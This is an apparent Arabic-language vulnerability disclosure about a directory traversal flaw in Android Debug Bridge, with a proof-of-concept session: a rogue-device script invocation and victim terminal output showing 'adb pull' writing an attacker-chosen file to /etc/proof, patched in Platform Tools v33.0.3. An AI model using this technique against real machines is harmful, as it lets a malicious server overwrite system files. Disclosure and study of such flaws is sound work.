
كان Android Debug Bridge (adb) عرضةً لهجمات اجتياز الدلائل (directory traversal) التي كان يمكن أن تشنّها خوادم adb المارقة أو المخترَقة أثناء تنفيذ عملية adb pull.
كانت أداة Android Debug Bridge (adb) عرضة لهجمات اجتياز الدلائل (directory traversal) التي يمكن أن يقوم بها خوادم adb المارقة/المخترَقة أثناء عملية adb pull.
الجهاز المارق:
./adbdirtrav.py -lp 5111 --content "hello world" --destination-path /etc/proof
الضحية:
root@eedd4cb8b202:/tmp/platform-tools# cat /etc/proof
cat: /etc/proof: No such file or directory
root@eedd4cb8b202:/tmp/platform-tools# ./adb connect 10.6.8.145:5111
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 10.6.8.145:5111
root@eedd4cb8b202:/tmp/platform-tools# ./adb devices
List of devices attached
10.6.8.145:5111 device
root@eedd4cb8b202:/tmp/platform-tools# ./adb pull /data/local/tmp/1 /tmp/sdfsdf
/data/local/tmp/1/: 1 file pulled, 0 skipped. 0.0 MB/s (11 bytes in 0.150s)
root@eedd4cb8b202:/tmp/platform-tools# cat /etc/proof
hello world
تم إصلاح هذا الثغرة في Platform Tools الإصدار v33.0.3.